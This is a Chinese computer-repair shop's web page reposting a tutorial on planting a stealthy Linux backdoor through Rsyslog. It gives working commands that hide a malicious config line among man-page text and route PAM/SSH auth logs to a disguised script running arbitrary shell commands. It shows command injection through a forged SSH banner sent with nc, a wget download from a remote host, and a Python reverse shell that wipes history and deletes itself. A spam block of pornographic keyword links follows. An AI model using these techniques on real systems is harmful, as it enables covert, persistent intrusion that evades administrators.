錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務技術文章
關于利用Rsyslog隱藏系統(tǒng)后門

作者: 佚名  日期:2017-07-02 11:37:28   來源: 本站整理

 0×01. 關于Rsyslog
ryslog 是一個快速處理收集系統(tǒng)日志的程序,提供了高性能、安全功能和模塊化設計。rsyslog 是syslog 的升級版,它將多種來源輸入輸出轉換結果到目的地,據官網介紹,現在可以處理100萬條信息。
特性:
1.多線程
2.支持加密協議:ssl,tls,relp
3.mysql、oracle、postgreSQL
4.等等..
一般主流的Linux發(fā)行版本中都會自帶Rsyslog服務,本文則利用這個常見的日志服務隱藏系統(tǒng)后門
0×02. 實例演示利用Rsyslog 隱藏系統(tǒng)后門
試驗環(huán)境
10.1.100.1       遠程服務器,提供反彈py腳本下載 (windows7)
10.1.100.2       控制端   (centos)
10.1.100.3       被控端    (kali)
一、被控端配置
1. 給rsylog添加后門配置文件
在被控端 上執(zhí)行以下命令(假設你已經獲取victim的 root權限)
man -a rsyslogd syslog | sed 's/^/#&/g' | sed '187 aauth.* ^/bin/snmp #' > /etc/rsyslog.d/README.conf
這串命令的意思試講 關于rsyslogd syslog的所有man 幫助信息導入到/etc/rsyslog.d 目錄下的README.conf文件中,且在README.conf 文件的188行寫入
auth.* ^/bin/snmp #
命令中之所以寫成aauth, 是因為a是sed的中的關鍵字,被自動過濾掉,所以要多寫一個
命令執(zhí)行完之后的,結果如下:

我們知道 Rsyslog 服務會將/etc/resyslog.d 目錄下的*.conf 文件都認為是配置文件, 這里將名字定為 README.conf 也是增強迷惑性(當然你也可以找到rsyslog的配置文件,然后修改這個配置文件)
我們來看配置文件中唯一一行沒有被注釋掉的代碼
auth.* ^/bin/snmp #
之所以將其放在188行,因為一般人看到這么多注釋行,不會繼續(xù)往下翻, 將配置行 放在這里不容易被發(fā)現
其中auth 表示的是PAM認證產生的日志
auth.* ^/bin/snmp #  的意思是將 PAM 產生的所有日志都發(fā)往/bin/snmp 程序
這里的/bin/snmp 就是我們留下的后門,snmp也是為了增強迷惑性而命名的
2.  編寫后門代碼
后門是一個很簡單,設置可以說是簡陋的sh腳本, 代碼如下:
#!/bin/sh
sh -c "$1"
$1 表示傳給腳本的第1個參數內容
-c 表示將 $1的字符串內容當做sh命令執(zhí)行
別忘了給后門增加可執(zhí)行權限
chmod 755 /bin/snmp
3. 重啟rsyslog 服務
systemctl restart rsyslog
至此 被控端配置完畢
二、控制端配置
一般的系統(tǒng)都會開放SSH 服務,而且ssh 是基于PAM認證的,所以ssh認證登錄中產生的日志都會發(fā)往 /bin/snmp
1. 在控制端執(zhí)行監(jiān)聽,等待shell反彈

2. 在控制端執(zhí)行如下命令,下載反彈py腳本,并保存在被控端的/tmp/x.py:
echo "';wget http://10.1.100.1/x.py -O /tmp/x.py;'"|nc 10.1.100.3 22
我們知道ssh 協議在通信的時候首先需要交換ssh版本信息,已確定是否可以通信
所以這里 ‘;wget http://10.1.100.1/x.py -O /tmp/x.py;’ 相當于向victim (10.1.100.3) 宣告自己的ssh版本(顯然這里是偽造的,但這不重要),這個版本宣告信息會被rsyslog捕獲,并將其傳至/bin/snmp, /bin/snmp 會將;wgethttp://10.1.100.1/x.py -O /tmp/x.py;視為入參, 然后執(zhí)行腳本
也即:
sh -C ";wget http://10.1.100.1/x.py -O /tmp/x.py;"
不知道你注意到沒,這里在wget 的命令前后加上;目的是為了防止ssh通信中其他日志信息干擾wget 命令執(zhí)行
x.py 代碼如下:
    import os
    import pty
    import socket
    
    lhost = "10.1.100.2" # XXX: CHANGEME
    lport = 31337 # XXX: CHANGEME
    
    def main():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((lhost, lport))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        os.putenv("HISTFILE",'/dev/null')
        pty.spawn("/bin/bash")
        os.remove('/tmp/x.py')    # 退出后銷毀自身
        s.close()
        
    if __name__ == "__main__":
        main()
命令執(zhí)行結果:

被控端查看,下載成功

4. 執(zhí)行x.py, 反彈shell
控制端執(zhí)行:
echo "';python /tmp/x.py;'"|nc 10.1.100.3 22
控制端查看,獲取shell



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    主站蜘蛛池模板: 无码专区中文字幕无码| 国产精品无码无卡在线播放| 国产a级理论片无码老男人| 亚洲AV无码一区二区三区国产| 精品无码三级在线观看视频| 精品少妇人妻av无码久久| 国产午夜无码视频免费网站| 久久久久亚洲AV成人无码| 用舌头去添高潮无码视频| 亚洲啪AV永久无码精品放毛片| 韩国无码AV片在线观看网站| 人妻精品久久无码专区精东影业 | 国产综合无码一区二区三区| 日韩精品人妻系列无码专区| julia无码人妻中文字幕在线 | 久久男人Av资源网站无码软件 | 无码人妻H动漫中文字幕 | 在线观看无码不卡AV| 亚洲精品无码高潮喷水在线| 永久无码精品三区在线4| 亚洲天然素人无码专区| 免费A级毛片av无码| 亚洲AV中文无码乱人伦下载| 成人午夜亚洲精品无码网站 | 91久久精品无码一区二区毛片| 国产成人综合日韩精品无码不卡 | 手机在线观看?v无码片| 亚洲中文无码av永久| 色综合AV综合无码综合网站| 亚洲AV人无码综合在线观看| 亚洲av无码专区国产乱码在线观看 | 无码人妻少妇久久中文字幕| 亚洲AV永久无码精品放毛片| 无码区日韩特区永久免费系列| 无码人妻精品一区二区三区夜夜嗨| 一本色道无码道在线观看| 亚洲Av无码专区国产乱码DVD| 一本色道无码道在线观看| 色噜噜综合亚洲av中文无码| 未满小14洗澡无码视频网站| 99久久人妻无码精品系列|